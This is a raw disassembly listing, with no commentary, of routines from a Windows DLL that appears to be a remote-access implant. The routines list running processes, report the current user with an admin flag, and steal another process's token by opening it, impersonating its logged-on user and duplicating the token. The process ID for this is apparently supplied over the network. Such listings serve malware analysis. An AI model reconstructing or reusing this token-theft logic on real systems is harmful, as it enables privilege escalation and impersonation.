call fcn.18000cfa0
jmp 0x180016c3a
lea rdx, [rbp + 0xb0]
mov r8d, 0x800
mov rcx, rax
call fcn.180016d04
lea rdx, [rsp + 0x40]
neg eax
sbb cl, cl
and byte [rbp + 0xb0], cl
mov ecx, dword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
mov ecx, dword [rsp + 0x40]
or edx, 0xffffffff
test eax, eax
cmove ecx, edx
mov dword [rsp + 0x40], ecx
mov rcx, rsi
call fcn.18000f2e8
mov r9d, dword [rbp - 0x60]
lea rcx, [0x18002c94c]
test eax, eax
mov eax, dword [rsp + 0x40]
lea r8, [rbp - 0x54]
mov dword [rsp + 0x38], eax
lea rax, [rbp + 0xb0]
cmove rcx, rdi
mov qword [rsp + 0x30], rax
mov eax, dword [rbp - 0x78]
mov qword [rsp + 0x28], rcx
lea rdx, str._s_t_d_t_d_t_s_t_s_t_d_n
lea rcx, [rsp + 0x48]
mov dword [rsp + 0x20], eax
call fcn.18000cfa0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp - 0x80]
mov rcx, rbx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x180016b61
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x48]
call fcn.180014238
lea rcx, [rsp + 0x48]
mov ebx, eax
call fcn.18000d000
mov edx, ebx
mov r8d, 0x11
mov rcx, rax
test r14d, r14d
je 0x180016c8c
mov r8d, 0x16
call r15
lea rcx, [rsp + 0x48]
call fcn.18000cf1c
mov rcx, qword [rbp + 0x8b0]
xor rcx, rsp
call fcn.18001a200
mov rbx, qword [rsp + 0xa08]
add rsp, 0x9c0
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x70
mov rdi, rcx
mov ebx, edx
mov esi, 0x20000
lea rcx, [rax - 0x48]
mov edx, esi
mov r12, r8
call fcn.18000cf40
mov ecx, 0x20800
call fcn.180014120
mov edx, 0x400
mov rcx, rax
mov r15, rax
call fcn.18001423c
mov edx, 0x400
mov rcx, r15
mov r14, rax
call fcn.18001423c
mov edx, esi
mov rcx, r15
mov rbp, rax
call fcn.18001423c
lea rcx, [rsp + 0x58]
mov r8d, ebx
mov rdx, rdi
mov rsi, rax
call fcn.1800141f4
lea rcx, [rsp + 0x58]
call fcn.180014264
lea rcx, [rsp + 0x58]
movzx ebx, ax
call fcn.180014264
lea rcx, [rsp + 0x58]
mov r8d, 0x400
mov rdx, r14
movzx edi, ax
call fcn.18001429c
lea rcx, [rsp + 0x58]
mov r8d, 0x400
mov rdx, rbp
call fcn.18001429c
movzx ecx, di
call fcn.180017a40
mov r9d, ebx
mov r8, rbp
mov rcx, rax
lea rax, [rsp + 0x40]
mov rdx, r14
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x20000
mov qword [rsp + 0x20], rsi
call fcn.180017998
lea rcx, [rsp + 0x40]
call fcn.180014238
test eax, eax
je 0x180017966
lea rcx, [rsp + 0x40]
call fcn.180014238
lea rcx, [rsp + 0x40]
mov ebx, eax
call fcn.18000d000
xor r8d, r8d
mov rcx, rax
mov edx, ebx
call r12
mov rcx, r15
call fcn.1800141d0
lea rcx, [rsp + 0x40]
call fcn.18000cf1c
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
mov rdi, qword [0x180042750]
mov r14d, r8d
movsxd rsi, edx
mov rbp, rcx
mov r15d, 0x100
test rdi, rdi
je 0x1800182e3
mov rbx, qword [0x180042758]
test rbx, rbx
jne 0x18001831e
mov ecx, 0x200
call fcn.180014120
mov edx, r15d
mov rcx, rax
mov rbx, rax
call fcn.18001423c
mov edx, r15d
mov rcx, rbx
mov qword [0x180042750], rax
call fcn.18001423c
mov rdi, qword [0x180042750]
mov rbx, rax
mov qword [0x180042758], rax
test esi, esi
je 0x180018356
cmp esi, r15d
jg 0x180018356
xor edx, edx
mov r8, r15
test r14d, r14d
je 0x180018349
mov rcx, rdi
call fcn.180019620
mov rcx, rdi
mov rdx, rbp
mov r8, rsi
call fcn.180019c80
jmp 0x180018370
mov rcx, rbx
call fcn.180019620
mov rcx, rbx
jmp 0x18001833c
mov r8, r15
xor edx, edx
mov rcx, rdi
call fcn.180019620
mov r8, r15
xor edx, edx
mov rcx, rbx
call fcn.180019620
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret
push rbx
sub rsp, 0x640
mov rax, qword [0x18003d030]
xor rax, rsp
mov qword [rsp + 0x630], rax
mov rbx, r8
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor r8d, r8d
lea edx, [r8 + 8]
lea r9, [rsp + 0x20]
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenThreadToken]
test eax, eax
jne 0x180018906
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x20]
mov edx, 8
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov rcx, qword [rsp + 0x20]
lea rdx, [rsp + 0x30]
mov r8d, 0x200
call fcn.180018ecc
test eax, eax
je 0x180018972
call fcn.180018c58
lea r9, [rsp + 0x30]
mov edx, 0x400
lea rcx, [rsp + 0x230]
lea r8, str._s__admin_
test eax, eax
jne 0x180018948
lea r8, [0x18002c728]
call fcn.18001972c
lea rax, [rsp + 0x230]
or rdx, 0xffffffffffffffff
inc rdx
cmp byte [rax + rdx], 0
jne 0x180018959
lea rcx, [rsp + 0x230]
mov r8d, 0x10
call rbx
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x630]
xor rcx, rsp
call fcn.18001a200
add rsp, 0x640
pop rbx
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov rdi, rcx
mov ecx, 0xc00
mov r12, r8
mov ebx, edx
call fcn.180014120
mov r13d, 0x400
mov rcx, rax
mov edx, r13d
mov r14, rax
call fcn.18001423c
mov edx, r13d
mov rcx, r14
mov r15, rax
call fcn.18001423c
mov edx, r13d
mov rcx, r14
mov rsi, rax
call fcn.18001423c
lea rcx, [rsp + 0x20]
mov r8d, ebx
mov rdx, rdi
mov rbp, rax
call fcn.1800141f4
lea rcx, [rsp + 0x20]
mov r8d, r13d
mov rdx, r15
call fcn.18001429c
test eax, eax
je 0x180018a5e
lea rcx, [rsp + 0x20]
mov r8d, r13d
mov rdx, rsi
call fcn.18001429c
test eax, eax
je 0x180018a5e
lea rcx, [rsp + 0x20]
mov r8d, r13d
mov rdx, rbp
call fcn.18001429c
test eax, eax
je 0x180018a5e
mov r9, r12
mov r8, rbp
mov rdx, rsi
mov rcx, r15
call fcn.180018d00
mov rcx, r14
call fcn.1800141d0
lea r11, [rsp + 0x40]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
cmp edx, 4
jne 0x180018c55
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x250
mov rax, qword [0x18003d030]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov ecx, dword [rcx]
and qword [rsp + 0x30], 0
mov rsi, r8
call sub.WS2_32.dll_ntohl
xor edx, edx
mov ecx, 0x400
mov r8d, eax
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
jne 0x180018b37
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [rdi + 0x21]
mov r8d, eax
mov edx, ebx
call fcn.18000d3e0
jmp 0x180018c31
lea r8, [rsp + 0x30]
mov edx, 0xf01ff
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x180018b5b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x24
jmp 0x180018b28
call fcn.180018a7c
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
test eax, eax
jne 0x180018b7c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x25
jmp 0x180018b28
mov rcx, qword [rsp + 0x30]
lea rax, [0x180042770]
mov r9d, 3
mov qword [rsp + 0x28], rax
xor r8d, r8d
mov edx, 0x2000000
mov dword [rsp + 0x20], 1
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
jne 0x180018bbd
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x26
jmp 0x180018b28
mov rcx, qword [0x180042770]
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
test eax, eax
jne 0x180018bde
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x27
jmp 0x180018b28
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x180018bf7
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x180042770]
lea rdx, [rsp + 0x40]
mov r8d, 0x200
call fcn.180018ecc
test eax, eax
je 0x180018c31
lea rax, [rsp + 0x40]
or rdx, 0xffffffffffffffff
inc rdx
cmp byte [rax + rdx], 0
jne 0x180018c1b
lea rcx, [rsp + 0x40]
mov r8d, 0xf
call rsi
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.18001a200
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.1800141f4
lea rcx, [rsp + 0x20]
call fcn.180014264
lea rcx, [rsp + 0x20]
movzx edi, ax
call fcn.180014190
lea rcx, [rsp + 0x20]
mov rbx, rax
call fcn.180014238
mov rdx, rbx
mov r8d, eax
movzx ecx, di
call fcn.1800190d4
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
push rbx
sub rsp, 0x20
mov rbx, rcx
mov ecx, 7
call fcn.18001e6ac
nop
xor edx, edx
mov rcx, rbx
call fcn.1800289fc
mov ebx, eax
mov ecx, 7
call fcn.18001e894
mov eax, ebx
add rsp, 0x20
pop rbx
ret